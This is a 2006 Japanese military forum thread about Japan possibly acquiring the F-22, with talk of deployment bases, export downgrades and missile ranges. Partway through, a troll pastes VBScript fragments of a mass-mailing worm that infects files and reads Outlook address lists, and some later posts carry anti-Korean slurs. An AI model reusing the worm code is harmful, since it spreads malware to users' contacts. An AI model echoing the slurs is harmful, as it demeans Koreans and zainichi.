早くF-１５に機種転換した飛行隊からF-２２が更新されていくのは間違いない
同じローテンションで行くはず

そうなれば、やはりこれだけは確実
岐阜基地の飛行開発実験団→百里基地の２０４飛行隊→小松基地の第３０３飛行隊→新田原基地の飛行教導隊かも？

あと確実なのは新田原基地の第5航空団第３０１飛行隊にはラプタ―ではなくF-１５改修機が配備されるはず
そして、新田原基地にラプタ―が配備されるとしたら飛行教導隊だが百里、小松の後だと思う
ってか千歳基地の第2航空団第２０１飛行隊と第２０３飛行隊へのそれぞれのF-１５の配備の年を知っている人教えてくれ！

ちなみに岐阜基地の飛行開発実験団と小松基地の第６航空団は使用する空域が一緒
石川県の能登半島の北方にある広大な空域を持つG空域

>>614
>バージョン落ちはあってもダウングレードはほぼ無い

飛行中によくシャットダウンするブロック3.0ソフトウェアが
来たりしないだろうね？

>>618
むしろそれじゃないのかなとｗ

ちょっと待て、ラプタヲタども。
この国の財政を考えてラプターとか夢みたいなこと言ってるのか？
オーバースペックの軍用機でアジアの脅威になるより
安い機体をそろえてて平和と財政再建の一石二町ですよ。
私たちネチズンで防衛庁にサイバーデモを展開してスパホ導入させようじゃないか。
まだ遅くないですよ。

>>620
最後の1人になってもがんばって下さい。

腐った餌じゃ釣られねぇよといいつつ釣られてみる。

スパホのほうが後々高くつく　これでいいかな？

スパホのAPG-79も捨て難いんだけど

ネチズンってチョンの事だと思ってたんだが

と言うか一番安いのはF-2なのに何でスパホ買わないといけないの?

F-2は欠陥機なんだろ（苦笑

なんでも試験飛行中に空中分解したらしいからな

スパホを選べば、キティとインディやるわ・・・・・と言われたらどうしよう・・・・

>>624
APG-77に対して優位なさそうです

維持費高そう

>>626
F-2が1番安いだって(*･ο･)

>>629
つ空対地モード

>>628
グロウラーなら考えるが

でも新聞記事見る限りでは相当ダウングレードされそうな書き方だけどな。

>>610
F-22のアビオは参考にしちゃいけない技術なんでは…
アーキテクチャに問題あったそうだし、
ネック部をハードのパワーでごまかしてるって感じに思える

Ｂ−２買えばトマホークやるわ

>>635
んなら退役するB-1を

ていうかさF-2推してる人、マジでF-2に制空任せられると思ってんの？

>>633
どの新聞？

>>631
＞空対地モード

FIに要らNEEEEEEEEEEE！…けど、ロット7からAPG-77(V)1にも付く予定よ

>>637
”ラプターがダメなら”Ｆ−２がいいな。

ラプタ―が４個飛行隊分の更新だったら配備が予想される基地のF-４ＥJ改やF-１５に機種転換した年


百里基地の第７航空団第２０４飛行隊がF-１５部隊になったのが１９８５年３月

小松基地の第６航空団第３０３飛行隊がF-１５部隊になったのが１９８７年１２月

新田原基地の飛行教導隊がF-１５を導入したのが１９９０年１２月

新田原基地の第５航空団第３０１飛行隊がF-４ＥJ改部隊になったのが１９９１年

百里基地の第７航空団第３０５飛行隊がF-１５部隊になったのが１９９３年７月

小松基地の第６航空団第３０６飛行隊がF-１５部隊になったのが１９９７年３月



千歳基地の第２航空団第２０１飛行隊／第２０３飛行隊だけわからんw
誰か頼んだぞ！

>>639
細かいことだが、APG-77(V)1はロット5からだよ。今年の11月から納入されるそうだ
ただ空対地用ソフトウェアは2010年頃まで完成しないのだとか。

もうアメはラプタン売る気満々なんだけど・・・・

こうなると最大の敵は財務省だね。ｗ

ライノor15Eを日本仕様にするのと
F-2を制空仕様にするのはほとんど変わんないしな

むしろこれから日本仕様の研究と実験をゼロから始める必要があるライノと15Eにくらべ
もう実験も試射もやる事が決まってるF-2の方が何かと’安く’済む

>>642
わかってる。SARモードが追加されるのがロット7からなんだ
ttp://www.capitolsource.northropgrumman.com/programs/anapg77.html

ラプターて今後ＩＲＳＴが付く予定ってあるの？

15Eと18Eには計画があったような＞IRST
ラプターはちなみに無い

つか後付けしようと思ったらステルス性が低下するし
設計のやり直し何てことになりかねん

>>643
なんか
米「もっと買えよ」
日「そんなに買えません」
米「いいから買えよ」
って感じになったりｗ

でも、新田原では韓国のレーダーで離陸直後に補足される可能性がある
千歳ではロシアにレーダーで離陸直後に補足される可能性がある
だから、仮想敵国の北朝鮮、中国、ロシアから見た場合、
一番遠いところにあって敵から見た場合に最前線ではなく奥のほうにある百里と小松に集中配備される予感
特に小松は北朝鮮やロシアの太平洋艦隊の母港であるウラジオストックに面しているが、
距離的には千歳（ロシア）や新田原（韓国）より他国の領空は遠い

この観点からも中空にあるこれら２つの基地、小松と百里にラプタ―が集中配備される可能性大！
ステルス機は最前線に配備することは離陸直後に高性能レーダーによって補足される可能性がある
だからアメリカは中国にラプタ―の電子情報を偵察されることを嫌ってグアムではなくハワイにラプタ―を配備したのだと思う

AAM-4のフィンを畳んで格納するみたいな話ってあったよね。
で、昔それ関連の特許がここに貼られてた気がする。
折りたたんだ翼の飛翔体に関する特許ってやつ。
AAM-4改の格納があるかもしれないと少し期待してたり。

>>649
と言うより韓国は軍事攻撃すらできないだろ。（やらかせば首が・・・）

>>638
WP

>>651
馬鹿なんだからコテ外せ
みっともない

事前協議が必要で特殊部隊やIRBMに狙われる韓国と日本の基地を使わずグアムなどから中国を狙うつもりなのだろう。
あの距離から中国を狙うのは技術的には難しいが、困難だからこそアメリカは挑戦する。

小松３０３・・・・
ドラゴンマークのラプタン　ハァハァ

>>653
別にいいだろ。コテの一人や二人

>>651
現実はそうだけどねw
でも、新田原は中国にも近いからね
今後中国が地上高性能レーダーや艦船の高性能対空レーダー、
警空などを使ってラプタ―の電子情報を探られやすいからね
だから新田原と千歳に配備されるとしたら、小松や百里で使い回したラプタ―が移転してくると思う
その時期はというと、F-２＆F-１５の後継機が配備され初めてからだろうと思う

もしかすると、飛行教導隊は小松か百里に移転してくる可能性がある
それで小松か百里に移転した後、F-１５からラプタ―に機種移転がされる可能性があるかも

>>653
とか言いながらコテは外すのな

>>652
英語を読んだことは有るかい。

>>651
韓国にはステルスを捉えるレーダーが無い。

>>649
日本が買えばグアムに配備する必要が無くなるって事では？

みんなはどの飛行隊のマークが好きですか？

俺の�ｂPは小松の３０３飛行隊のドラゴン

あと新田原の３０１飛行隊の五つ星のスカーフをしているガマガエルなんかも可愛らしくて好きかも

鬼武者みたいなマークの飛行隊はなんだっけ？

ところで、ラプターが有る程度纏まって入るとすれば、実は国内産業への影響が当然
心配されるけど、F-2の機体寿命がかなり短くてF-3の開発が待ったなしって事は無いか。
そういう話を人づてに聞くけど。

>>659
それもある

>>661
実はその為のATD−Ｘだったりする

>>661
P-XとC-Xがあるから意外と暇じゃないよ

こっちは横槍ほとんどないし

ラプターみたいな派手さは無いけど、ASM-2を8本装備とか
P-Xはなんか平成のブラックジャックって感じだよな。

帰ってきたタラ〜

>>663>>664
だから丁度良いのではと思う、日本独自に今現在のF-Iを開発すれば低性能、高価格に
ならざるを得ないから。
まあ、F-2自体がかなり無理を承知で作った機体なんでしょうがないけど。
それにF-Sカテゴリーなんて米軍自体があまり必要と考えていないから。

>>666
ダミアンの数だね、飯研が最近とったばかり（あそこ第666弾を超えた）
ところで
>>514
をごらんあれ、英語に堪能ならリンク先も、私が貼りました。

びっくりするほど出来レース

ラプター、意外と安いね。

結局いくらぐらいになりそうなの？

>>671
原文では、フルスペックなら１．５億ドルから１．８億ドル、もし予算の都合で安いのが
欲しければスペックダウンさせるとの事。

もちろん完成機輸入の場合だよね。
ラ国するとどうなるのかなぁとカキコ途中で、
中田が現役引退という速報が。

>>672
ソースおねがい

3ロットまとめて価格を下げるラプターに実施できるコストダウン改修ってどんなのあるかな

>>674
ソースソース言う前にこのスレくらい読んでこいタコ

>>674
ttp://www.washingtonpost.com/wp-dyn/content/article/2006/06/30/AR2006063001695_2.html
＞the price of the plane drops to between $150 million and $183 million,
＞or even less for a stripped-down model, they said.

結局このスレではホロン部と俺と師匠ぐらいの強烈なキャラしか生き残れないんタラよww

生き残る？
お前はいるだけ

>>678
そのコテ全員残業で過労死寸前なのは何かの暗示ですか？

>678
貴方はホロン氏の別ハンドル名だと思っていました。

>>679
ならその足りない頭ひねって洒落たコテハンつけて見ろタラww
>>680
だから漏れは学生

>>681
そりゃないぜ師匠

ところでこの頃ＴＦＲをお師匠様と呼んでも呪いの招き猫を賜ることができない点について。

実はこのラプターラは偽物である点について。

汚染を除去しました。

汚染を除去しました。

汚染を除去しました。

>>1
いつ見てもおもうんだが、当て馬とはいえ住友商事はやるきあるのか？

たまに見るけど、コレ何なの？

TFR氏が実はピザである可能性について。

なんか糞コテミリヲタ３兄弟がいるなｗ

>>690
話しかけちゃダメ。

雷雨で回線が途切れた為、俺のＩＤが変わってしまった件について

>>690
ノートンに反応させるのが目的。要は見せたくないんじゃない？
在日とかじゃなかろうか。

>>693
嵐の人？
ギコナビで見てるせいか、何の影響も無いから、逆に正体が解らないｗ

（比較的）普通人（なヲタ）もコテとして居てほしいんだがなぁ。俺偏ってるから

sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders

for each f1 in sf
　　infectfiles(f1.path)
　　folderlist(f1.path)
next

end sub

２５１億円で戦闘機何機買える？

ノートン以外を使ってる人間にはうざいだけ。
アク禁依頼出すか無視するかのどっちかだね。

migなら・・・

sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad

set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")　　

for ctrlists=1 to mapi.AddressLists.Count
　　set a=mapi.AddressLists(ctrlists)
　　x=1
　　regv=regedit.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a)
　　if (regv="") then
　　　　regv=1
　　end if

ノートン使ってても問題ない

>>699
F-16のA/Bとかでいいなら100機以上買える

つか戦闘機なんか特に戦力化させないと使えないぞ。
買ったから終りなんてもんじゃないし。
戦力化されてないF-22などゼロ戦にも劣るし。

問題ないけどいい加減ウザイ＞トラップ

>>704
マジ？ 価格的にも肥え太って来たんだなぁ

>>705
戦力化前に虎の子のF-15Kを墜落させたアホな国がどこかにあると聞いたのですが？どこですか。

1300億円で
F-22を7機買うのと
F-2を11機買うのとでは
どっちが中国にとっていやだろう

>>708
日本も夜間飛行訓練で1983年にDJを１機墜落させてる。その機体が配備されてすぐ。
F-15J自体、配備されたのは1981年だから、2年ぐらいで１機墜落させてる事になる。

>>708
むしろ戦力化前だからこそ・・・という解釈も。
問題点の洗い出しも途上だったんだろう。
それだけにレコーダー回収できなかったのは辛かったろうな。

>>706
俺の目的はノートンを誤反応させることではない
おまえのその言葉がまさに俺の狙い

投下

http://puka-world.com/php/upload/puka/img-box/1151218538884.jpg
(((( ;ﾟДﾟ)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ

じゃあなミリヲタどもｗ

もう行っちまうのかい？

自演ｗ

>>703
こっちも反応なし。
どうしてだろ？

>>707
しかしJSFのgdgdでF-35がミドルヘビー級まで上がって来ている罠

　　　　　　　　　　　　　　　　　　ｼﾘﾐ､
　【F-22J 決定】　　　｡　　　,ｒミミ川ミﾐﾐ､
　　　　　　　　　　｡ O　　 _ / ｡ u　 ﾞミ彡ミミﾐ､
　　　　　　　　ﾟ　 ｡ ＼ヽ( / u　 ⌒ヽ 　u　ﾞヾﾐｼ
　　　　　　　　-　　･｡　 / ； ﾟ　｀･=　u ⌒ヽ　/　　　@　｡
　　　　　 ,　 ﾟ　　 ,ｒ-'⌒{ U┏ - '(･_･)｀･=　/　／ ｡ 　 ,'´￣￣｀',
　　　　　　　ﾟ ,,ｒ'´　　　 l u┃/「ｴｪｪ､ヽ｡ ﾟ/ﾉ　o 　　　 ｌ　い　何 ｌ
　　　　｡　ﾟ　ｒ'⌒ ー - '´ヾ,. iｒ' ＾ｒ ､/ /　/-､｡　･ﾟ　　 ｌ　け　杯 ｌ
　　　　　　ヾヽ､＿,,,ｒ-､/ミ,ヽヽ/ ノ_, -イ　　ヽ＼　 ∠ 　る　で ｌ
　　　　　　　　ー = ＾〜､￣r'´￣｀''ｊヽ､　ｒ 　　l ﾟ　｡　 ヽ ！　も/
人人人ノｌ　　　　 / / 　　　ヽ´｛ミ,_　 　｀⌒ヽ ! l 　　　　｀￣￣
）メ　 　 　て　　　i　　　　　｀'＝'´｀ ヽ､ ＿ ﾉ ﾉ　｡
）　 シ 　 　て　　 l　　　　　　 !。　　　　 !　
７　 　ウ　　（　＿ヽ　 ＿＿　.!。 ＿_　/_,-=-,＿＿_
　）　　　 マ （　,-＝-, ∠ヾゞゝヽ ,-≡-,ｌ　　ｌ-=二=-,
　 ⌒⌒⌒⌒　└==┘　￣￣￣　ヽ==ﾉヽ=ﾉ＼＿_／

>>715
自演などではない

ノートン使ってるが問題ない

つかちゃんと更新してるなら大抵問題なし
それくらいは分かってると思うんだが

それでも続ける訳は、被害与えてると信じたいから
優越感に浸りたいんだろうな

一回削除されてるから、ある程度まとまったらアク禁食らいそうだな。

早々に透明あぼーんしてるし、ノートン使ってないからまったく問題ない。

でラプターだよな。

ラプターですね

ライノですね。

ワイルドボアですね

壁|∀・)∩いあ

∩(・∀・)∩いあ！すとらま！すとらま！

http://hilowmix.typepad.jp/blog/2006/07/post_13b4.html
＞もっとも、イラクやアフガン戦線ではポッドを外部搭載できないF-22への用兵者の期待は著しく小さく、

Ｆ２２は赤外線ポッドは内蔵されていた筈だが
此れは予定だったかも知れぬし
未だ搭載されて居ないと言う可能性も
有るだろうか


http://www.f5.dion.ne.jp/~mirage/message00/raptor.f22.htm
＞また、対地攻撃用にSAR（Ｓｙｎｔｈｅｔｉｃ Ａｐｅｒｔｕｒｅ
＞Ｒａｄａｒ）合成開口レーダーが付随し、機首ノーズコーン下面と主翼付け根部に赤外線を透過する特殊
＞な複合材を使用したカバー付の小窓が有り、低高度航法及びFLIR（Forward Looking Infrared rays）
＞前方監視用赤外線目標指示器が収められている。(*12)

＞(*12)SAR（合成開口レーダー）がAN/APG-77に付随するものなのか、またFLIRの機体取り付け位置
＞及び型式名は公表されておらず、現時点では判明している部分だけを憶測で掲載しました。今後詳細
＞が判明次第、この項で追記します。

赤外線センサーは未だ装備されて居るのか
どうかだが


＞製造中のF-22AA4018（量産初号機）。薄い灰色部
＞は空中戦の行われる高度と同じ輝度で濃い灰色部
＞は赤外線シーカーのエッジ認識を錯乱させる。

こんな機能が
Ｆ２２の迷彩には有った訳だろうか

>>729
と言うか米軍ならエスコートジャマー引っ釣れてやるんじゃないかな。

おくればせながら、ラプター導入の可能性アップおめでとうございます
上中下すべての国から今後３０年くらいは日本の空は鉄壁の守りとなりますね
むしろ来るなら、来いや〜〜
状態ですね、
なんとしても中共の野望は挫きましょう、世界の平和のために

「よく見ろ中国人。これが日本の実力だ！」

ってか漏れは思うんだが、アメさんの場合は1SQ18機だろ？
100機では無く105機になるのではと個人的には読んでいる。
この場合は5SQに配備できるが…？

>>731
鉄壁であるのはいいんだが、むやみに煽る必要も無い。
攻撃されたら粛々と反撃するだけ。

某研究者って最新情報に疎いんだね

>>729
MLD(Missile Launch Detector)用にIRセンサ六コで全周カバーしてるそうだけど、
IRST(FLIR?)はまだ設置準備だけだったような

・ステルス性
・ベクタードスラスタ
・スーパークルーズ可能なエンジン
・データリンク

輸出仕様で性能落とされるのはどのへん？

>>736
・ｱﾑﾗｰﾑ購入の強要。
・ｻｲﾄﾞﾜｲﾝﾀﾞｰ購入の強要。

>>736
フルで来るだろ。罪務が許せばな

Ｆ２２を１００輸出しても良いと言うが
Ｆ−１５後継はＦ−３５或いは
此れの後継の無人戦闘機なのだろうか

レーダーのサイドアレイや対地攻撃力は落とされ
対地用の赤外線ポッドも未装備に成る可能性は有るだろうが
他の部分は果たして落とされるのか
どうかだが

>>736
全部カットできない　
それらをカットして別の物に置き換えよう物ならまた金と時間がかかる
それをするだけのメリットがそこにない（35の代わりに売り出すなら話は別）

これら全てがパッケージされてラプターなので削りようが無い

Ｆ−１５の様にミサイルが古く成る可能性は
有るだろうか

ダメだ・・・
ガッツが足りなくて、もうエロネタどころか普通のレスも満足に付けられない・・・

寝よう・・・




　 ＜⌒／ヽ-、_＿_
／＜_/＿＿＿＿／

装備の更新が比較的容易に出来るのが開発国の強みだからな。

>>742
あるかも…それとも将来のインターフェース更新に備えて
内部配線楽に張り替えられるようになってんのかな

誤爆申し訳茄子・・・orz

>>745
図体でかいからな。Ｆ−１６よりははるかに余裕だろう。

Ｆ２２用では一番古い
ＡＩＭ−１２０Ｃで当面は
凌ぐと言う事に成るのだろうか

>>745
バス型配線じゃないの？

>>748
AMRAAMより深刻なのはAIM-9系のほうだよ

ラプターの構造上オフボアサイト能力のあるミサイルはきついし
そもそも米は9Xの開発失敗寸前ってか失敗確定？

>>750
すでにライノとかイーグル向けに配備使ってない？

配備使ってない？×
配備してない？ ○

対地攻撃の部分だけなのだろうかだが
エンジンもノックダウンされるかも知れぬし

まあ下手に部品を変えると
コストは掛かるかも知れぬが
技術を奪われるリスクを考えれば
コストを掛ける可能性も
有る訳だろうか

>>752
ラプターに配備してないだけ
恐らくその必要性が無いからだろ
ノーザンエッジでも108対0で完勝するくらいだしな
むしろ必要なのはレガシーファイターの方

米軍としては中国と衝突したら、部隊の一部として空自を活用したいだろうから、
ラプターのモンキー化はソフトウェア的に行われるんじゃないの？
必要になったらソフトキー解除でフル能力発揮と。

>>756
そう書くと尻がネットに流れそうな流れになったりｗ

【軍事産業】米下院、F-22 ラプターの海外輸出解禁法案可決
http://news18.2ch.net/test/read.cgi/bizplus/1151809604/

サイドアレイ・ＳＡＲ・ＦＬＩＲは付けられず
ミサイルも当面ＡＩＭ−１２０Ｃと言う
事には成るかも知れぬが
当面は無いのだろうか

スペックダウンは電子戦関係だろ。
ラ国諦めればブラックボックスで出してくれるだろ。

>>756
ありそうだなぁ。中華ELINT対策に平時はレーダーを狭帯域に制限するとか
まぁ対地兵器サブシステムなんかは一時的無効といわず削除されててもかまわんが

AAM-4は運用できるようにするだろ

ＡＡＭ−４を使用するとすれば
可也の改修は必要だろうし
巡航ミサイルの迎撃を考えないなら
必要な装備なのかだが
Ｆ−１５後継機には使われる可能性も有るだろうが
巡航ミサイルはレーザーで落とすと言う
可能性も有るだろうし
ＡＩＭ−１２０に巡航ミサイル迎撃能力が付く可能性も
有るだろうか

>>750
AIM-120Dもラプターへのインテグレーションは1番最後になるようだがね
米空軍はラプターに相当な自信を持ってるんだろうな
最新のミサイルは全部後回しにするくらいだから

>>762
できるかねえ・・・

>>763
やっべ巡航ミサイル迎撃忘れてた
最新のAIM-120C7は誘導精度どうなんだろな

巡航ミサイル迎撃は非ステルスモードのみと言う事で
妥協し
ＡＡＭ−４は外部パイロンにのみ装備と言う
可能性も有るだろうし
或いはこの様な改修もせず
巡航ミサイル迎撃は
レーザー使用と言う可能性も有るだろうか

>>767
AAM-4の装備はデータリンクが要改装点じゃなかった？
ならウェポンベイでも外部パイロンでも同じな希ガス。
弾体の大きさ的には収まるわけだし。

>>751
とりあえずオフボアサイト能力は実験映像の奴ほどなくて
ｹﾞｯｿﾘしてるとかって話がある　イスラエルのミサイルに興味があるとか
まあ今じゃ改善されてるのかもしれないけど

>>768
AAM-4撃てるようになるとAMRAAMも撃てるようになるんだから
ソフトウエアの問題じゃないのかなと思ってみたりするのだが駄目なのかな

まあレーザー装備よりコストが掛かるなら
止めるかも知れぬが

次期主力戦闘機はラプターではないですよ。
これでつ。

http://www.jda-trdi.go.jp/topics.html
技本ＨＰより

>>766
先月アラスカでF-22が巡航ミサイル迎撃のテストしたみたい。
それと巡航ミサイル迎撃用はAIM-120C7じゃなくてC6らしいよ。

すいません
JSFとダウングレードラプターと値段差倍ちかいのに
あんまり変わらない気がします

JSFのが先進的な部分もありますし

やっぱり60機程度で打ち切って早めにF3かJSFラ国のがいいんじゃないですか？

>>773
サンクス。単純に上位互換で番号付けてたわけじゃないのね

>>772
シックスが死角になるようなデザインは嫌だ。

>>774
スペックも見よう＞35

ライノもそうだがけっして悪い飛行機ではない
ただ国情に合わないだけの話　先進的でも国情に合わなきゃ粗大ゴミと同じ

>>774
いまや、F-35もF-22もたいして値段変わらなくなってるんじゃない？
下手すると輸出で生産数が増える予定のF-22のほうが安くなる可能性も……
性能的には空母なし前提なら断然F-22のほうがいいでしょ。F-35のステルス性は対して高くないという話だし。

>>774
少なくとも上昇力、加速力の差は大きいと思うが。

>>778
中国の190億元って奴か？

あれは別として一応ソースがある数字としては
量産型の35Aで今現在では1機65億円とかだぞ

先行生産のほとんどY状態の35Aが1機100億だけど

>>774
ステルス状態で、速力・航続距離・AAM数・レーダー視程に優れる
ラプターは迎撃向きなのですよ

強いてFIとしての欠点と言えるのはAMRAAMの射程が短いことくらいか

>>781
AMRAAMの射程って短い？

>>782
まああっても60キロ前後だから
現在の中距離ミサイルのトレンドの100キロ前後から考えると短め

あーでもAMRAAMも射程100キロオーバーな奴研究してなかったっけ？

>>783
いくら射程長くても当たらなけりゃ意味無いよな。
AMRAAM以外の中距離ミサイルで当たったのはあるの？

>>784
AAM-4やR-77はテスト済みだろうな
Meteorはたしかまだ飛ばしただけ

>>783
ラムジェットAMRAAMことFMRAAMは中止になったとか以前このスレで聞いたが…それでなくて？

>>782
噂されている射程
AIM-120C 60km
MICA 60km
R-77 80km
AAM-4 90km
Meteor 100km

AIM-120Cしかダメでしょサイズ的に無理なのかな

AAM-4
意外に最強クラスじゃんｗ

>>787
ＡＡＭ４意外と飛ぶな。

>>786
ラムジェットじゃなかったと思うんだけど勘違いの可能性もあるから
スルーしてくれ

>>789
そりゃAIM-120Cに比べて相当デブだから飛んでくれないと困る＞AAM4

>>784
一応AAM-4は通常目標にも巡航ミサイル目標にも当たり過ぎて
接近信管のテストができなかったとかなんとか

でもまともに実戦経験があるのはAMRAAMとフェニックスだけだから
どうしようもない気もする

AAM-4は実践配備されている空対空ミサイルではピカイチの性能だが、値段もピカイチ。

>>793
中距離ミサイルでセミアクならスパオーもあるんだがな。

>>795
セミアクティブ入れていいならそうだなｗ

話の流れからセミアクティブは除外だと思ったのだ

セミアクティブとはいえお馬鹿だった初期を除外すれば結構使えてた気がするな。

>>797
母機のFCSが賢くなればなるほど精度は上がるからな
スマートスキンが定着すれば短射程AAMとして復活するかも
IIRとの複合誘導でね

ラプターならセミでも良さげ

フェニックスよりは短い

フェニックスは金かかる上にあたらねーイメージがあるな。

AIM-120も段階的に射程は延びているんじゃないっけ？
AIM-120Dになると100キロ超えるそうだが

肝心のｱﾑﾗｰﾑはあの国みたいにアメに管理されたりしないだろうか

>>803
当時のNATO諸国でも持ってなかったAIM-120Bを普通に評価試験用に輸入していろいろ調べてた
それが日本

唯一の同盟国であるアメリカとは良好な関係を保ちたいもんだな。

他山の石には事欠かないし。

オーストラリアはF-22を買わないつもりらしい
ttp://www.flightglobal.com/Articles/2006/7/4/207611/Australia+demands+JSF+resolution.html

韓国とはもう少し関係改善をやって欲しい
最前線になるのは勘弁
竹島の真ん中に国境線を引いたり出来ないかな

>>807
らぷたー配備の暁には、竹島を取り返す。

AAMの射程ってのも何とも言えない話だけどな。
AAM-4搭載はやって欲しい。
変に搭載兵器の縛りを受けると将来的に使い勝手が悪すぎになる。

>>807
やる気満々じゃんw

竹島を韓国に渡せば、日韓の関係は改善されて
靖国参拝をやめれば、日中の関係が改善される

こんな風に考えてる奴は世間知らずもいいとこｗ

>>807
特定アジアとは先に関係改善ありきで対応するのは
止めた方がいいと思うよ。
原理原則で対応しないとズブズブになる。

　　　　l^丶
　　　　　　　 | 　'ﾞ''"'''ﾞ y-―, あ　ふんぐるい　むぐるうなふ　すとらま
　　　　　　　 ﾐ　´ ∀ ｀　　,:' 　　　　 　
　　　　　　(丶　　　　(丶 ミ　　　いあ　　 　いあ
　　 （（　 　 ﾐ　　　　　　　 ;':　　ﾊ,_,ﾊ 　　ﾊ,_,ﾊ
　　　　　　　;:　　　　　　 　ﾐ 　';´∀｀'; 　';´∀｀';, ,
　　　　　　　`:; 　　　　　　,:'　　ｃ　 ｃ.ﾐ'　ｃ　 ｃ.ﾐ　　
　　　　　　　　U"ﾞ'''~"＾'丶)　　　u''ﾞ"J 　 u''ﾞ"J

　　　　　　　　　 /^l
　　 ,―-y'"'~"ﾞ´　 |　　　それ　 すたばてぃ　うがふなぐる　ふたぐん
　　 ヽ　　´ ∀ ｀　 ﾞ':
　　　ﾐ　　.,/)　　　､/) 　　　いあ　　　　いあ
　　　ﾞ,　　 "'　　　´''ﾐ　　　ﾊ,_,ﾊ 　　　ﾊ,_,ﾊ
（（　 ミ　　　　　　　;:'　　,:' ´∀｀';　　,:' ´∀｀';
　　　 ';　　　　　　彡　　::　っ　,っ　 ::　っ　,っ
　　　　(/~"ﾞ''´~"U　　　ι''"ﾞ''u　　ι''"ﾞ''u

∩(；・∀・)∩いあ！すとらま！すとらま！

>>806
JSFの出来次第じゃなかろうかと思う。
どうせ重工業も無いしF-35もFMSが前提なんでしょ？
なら導入時期にもよるけどJSFの出来次第でF-22の方を
選択する可能性もある筈かと。
ただF-22は数が揃えられないイメージはあるけどね。

とうとうＦ−Ｘがラプターで決定だ！！
おわったなＦ−２６
∩(・∀・)∩いあ！ラプター！ラプター！

竹島を韓国に渡せば、対馬も要求されて
靖国参拝を辞めれば、南京で虐殺を行ったと非難される

∩(・∀・)∩いあ！グリペン！グリペン！

　　　　|i　　　　　!i　　　|i l　　　　　 |!　　　!　　　　|　　l
　　　　　　　　　 !i |　　　i ! 　 　　　　　　　　　i |　　　　　　!l l　　　 |!　　l 　!|
　　　　　i　　　　　　　　　　|!l　　　|!　　　　　!|　　!l
　　!|　　　!　　　　|　　　　　　　　　　　　i　　　　　　
　　　ﾉゝ .,_ _　　　　　 　_,.　￣ ｀ヽ、　　　　　　　　　　　　　　　
　　〈､　 　 ｀‐ ､｀ ｀´- ､ , 　　　　　　 ﾞゝ　　　i　　　　　　　　　　!|　　　　!ll　　 | !　l 　!|
　　　｀丶　, ,/,.ゝヽ､.,　　　 ｀　ヽ　　　､!,　'ゝ 、　　　　　　　　　　
　　　 　　｀//´　　 　 ヽ_,　　､!,　　｀　ヽ　　　 丶　　　　　　　i|　　
　　　　　//　　　　　　　 ヽ、.,_　　　　　ヽ 、　　　ゝ　　　　　　　
　　　　 // 　　　　　　　　　 　 ｀ 　'`､_　　　ヽ　　 ﾞ|　　　　　　　
　　　　/ﾉ　l^丶 　　　　　　　　　　　　 ~""'''　‐- ,,__}　　　|i　　　
　　　　| |　| 　'ﾞ''"'''ﾞ y-―, 　　　　　　　　　　　　!|　　　　 l| !　　　!ll　　 | !　l 　!|
　 　 　|,|. ﾐ　 ´ ∀ ｀ 　,:'　　いあ　いあ　すとらま
　　　　| |(丶　　　　　 　 ミ　　　　　　　　　　　　　　 l| !　　　!ll
　　　　|,|　ﾐ　　　　（,.,.:　 ;':　 ﾊ,_,ﾊ　　　　　　　　　　　　　 | !　l 　!|
　　　 （(　;:　　　　　　 　ﾐ　 ;'´∀｀';,　　いあ　いあ
　　　　　　`:; 　　　　　　,:'　 ;:っ　ｃ.ﾐ
　　､!,　 　 ﾐ､,,,ﾐ"ﾞ'''ﾐ､,,,ﾐ　 　 u''ﾞ"J　　　　　　　　､!,　　　､!,
　`'~`'''`'`'`~'~~`~'`'`''''”`'`'~`~'~`”'`'`~'~~`'`'`~'~'~'~~'`'`'`'~'~'~`

日本としては唯一の同盟国アメリカとの関係を重視するのは分かるけど
やっぱ他にも同盟国があってもいいと思う。

お勧めはオーストラリアとニュージーランドなんだが
インドネシア（資源輸出国）が機嫌悪くするのがネックかな？

なんか韓国見てると可愛そうに思えてね
竹島をうまく分け合えれば今後アジアの為にも良いような気がしたんだが
渡すということでは無しに

>>821
日本的には話し合いで解決しようとがんばってんだがね。相手が話し合うつもりないんだから仕方ない。

衝突無しで裁判に引っ張り出せないかな

>>821
まともな人間扱いはしない方がいいと思うよ。
彼らによって自分の家族が殺されたり被害に逢ってる日本人もいるんだし。
アジアの事を考えた場合は朝鮮民族だけは除け者にした方が絶対にいい。
東南アジアでの嫌われ方はガチだし、そういうメンタリティがある。
それに主張したもん勝ちは駄目だろｗ

自分の家族が変態の嗜好品として慰み者になるのを「相手が主張してるから」
と理解できる人間ならば何も言わんが、どうせ竹島は俺のものではないから
やってもいいや、みたいな考え方が>>821の考えのベースでしょ？

>>821
そりゃだまされてるよ。
例えばお前さんの家にいきなり強盗が乗り込んできて
「この家は俺の物だ」って言って居座ったらどうするよ？
そこに
「強盗も可愛そうだから家をうまく分け合えればいいような気がする。渡すんではなしに」
とか言われたらどう思う？

>>821は釣り師か在日か、そのミックスかのどれかだろ

>>807
竹島はナショナリズムを煽る反日の材料として都合がいいから利用されているだけであって、竹島が無ければ他の材料で反日政策を行うだけです。
竹島問題の本質は領土紛争ではなく、戦後反日政策の行き詰まりの表れです。

>>821はねらーじゃない一般的日本人の発想だろ

あと、竹島問題だが北朝鮮の困窮と連動してる気はするね。
煙を出すかミサイル周辺で騒ぐか、の2択だったが、3番目の
選択肢として竹島で騒ぐというのが追加されたような気がする。

ノムヒョンがスパイだとしてね。
そもそも決定的にノムヒョンが反日行動に出てきたのは太陽政策を
日本が支持できないとなってきてからの事だったりする。

>>828
在日という可能性もF-XがF-22である事並みに高いぞ。

そうかそりゃすまん
俺は九州人なのでもしかしたらミックスなのかもしれぬ…
竹島が取りざたされたのは竹島の日を制定してからだと思うんだけど
実際はかなり前からでないの？

おまいらこんな深夜だと言うのにそんな腐った餌に良く食い付くな。

>>830
それはないように思う。
半分こして仲良くなんてのは、「無関心」からくる発想なので、「竹島？何それ？」という人の感覚かと。
政府から煽りまくられてる韓国国民は、「韓国領土なのは明らかなのに半分も日本に渡すなんてありえない」と思うだろう。

>>831
領土問題は古くからあるが、竹島の日制定を嗅ぎ付けた韓国政府が、反日の材料として大々的に宣伝するようになっただけ。

>>833
在日韓国人は韓国国民だが韓国政府から煽られてるわけではない。
